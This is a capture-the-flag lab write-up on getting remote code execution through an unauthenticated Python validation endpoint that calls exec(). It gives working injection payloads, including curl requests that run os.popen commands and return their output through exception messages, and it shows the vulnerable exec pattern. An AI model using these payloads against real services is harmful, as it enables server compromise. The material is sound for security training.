Lab 351 — FlowForge — RCE via Python Code Validation Endpoint
Lab 351 — FlowForge — RCE via Python Code Validation Endpoint
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: api_endpoint_enumeration, decorator_execution_abuse, exception_based_exfiltration, python_code_injection
Summary
Task: AI workflow platform with Python code validation API endpoint that doesn't require authentication. Solution: Exploited unsafe exec() in validation endpoint using exception-based exfiltration to read flag.
Lab 351 — FlowForge — Hackadvisor
Description
FlowForge is a visual AI workflow platform built by FlowForge AI. It lets teams design and deploy AI pipelines through a drag-and-drop interface, connecting LLM nodes, data connectors, and transformers into automated workflows.
The platform provides a REST API for managing workflows, validating custom components, and monitoring pipeline execution. The component registry accepts Python code submissions for validation and metadata extraction.
Your goal is to find and exploit a weakness in how the platform processes user-submitted code to retrieve the flag stored on the server.
Credentials provided: user@test.com / password123 Hint: The platform has an API endpoint that processes Python code. Check the API documentation page to find endpoints that don't require authentication.
English summary: AI workflow platform with a REST API. The /api/v1/validate endpoint accepts Python code for validation without authentication. The goal is to exploit unsafe code processing to achieve RCE and read the flag.
Analysis
Initial Reconnaissance
After logging in with provided credentials, discovered navigation menu with link to /api/docs.
API Documentation Analysis
The API documentation at /api/docs revealed several endpoints:
| Endpoint | Auth Required | Description |
|---|---|---|
GET /api/v1/workflows | Yes | List workflows |
POST /api/v1/workflows | Yes | Create workflow |
GET /api/v1/components | No | List components |
POST /api/v1/validate | No | Validate and analyze Python component code |
| |
The /api/v1/validate endpoint was the target - it accepts Python code for validation and metadata extraction, supposedly for CI/CD pipeline integration.
Vulnerability Discovery
Testing the validation endpoint confirmed it extracts function signatures, imports, and classes from submitted code. However, the implementation used compile() + exec() instead of safe static analysis with ast.parse().
Testing decorator-based execution revealed code was being executed:
python read-only • copy allowed@__import__("os").popen("id").read() def test(): pass
Response: {"errors": [{"message": "'str' object is not callable", "type": "TypeError"}]}
The error message confirmed execution - the id command ran, returned a string, and failed when used as a decorator (strings aren't callable).
Solution
Step 1: Confirm RCE with Exception-Based Exfiltration
Used raise Exception() to exfiltrate command output through error messages:
bash read-only • copy allowedcurl -X POST "https://cccb9217-2c9a-4b3f-9377-155957e0a938.labs.hackadvisor.io/api/v1/validate" \ -H "Content-Type: application/json" \ -d '{"code": "raise Exception(__import__(\"os\").popen(\"id\").read())"}'
Response confirmed root access:
json read-only • copy allowed{ "errors": [{"message": "uid=0(root) gid=0(root) groups=0(root)...", "type": "Exception"}], "valid": false }
Step 2: Capture the Flag
bash read-only • copy allowedcurl -X POST "https://cccb9217-2c9a-4b3f-9377-155957e0a938.labs.hackadvisor.io/api/v1/validate" \ -H "Content-Type: application/json" \ -d '{"code": "raise Exception(__import__(\"os\").popen(\"cat /flag*\").read())"}'
Response:
json read-only • copy allowed{ "errors": [{"message": "FLAG{REDACTED}", "type": "Exception"}], "valid": false }
Root Cause
The validation endpoint used compile() + exec() to extract code metadata instead of safe static analysis with ast.parse(). This allowed arbitrary Python code execution on the server.
Vulnerable pattern (conceptual):
python read-only • copy allowed# VULNERABLE - executes the code def validate_code(code): compiled = compile(code, '<string>', 'exec') exec(compiled) # RCE! # SAFE - only parses AST without execution def validate_code_safe(code): tree = ast.parse(code) # Extract metadata from AST nodes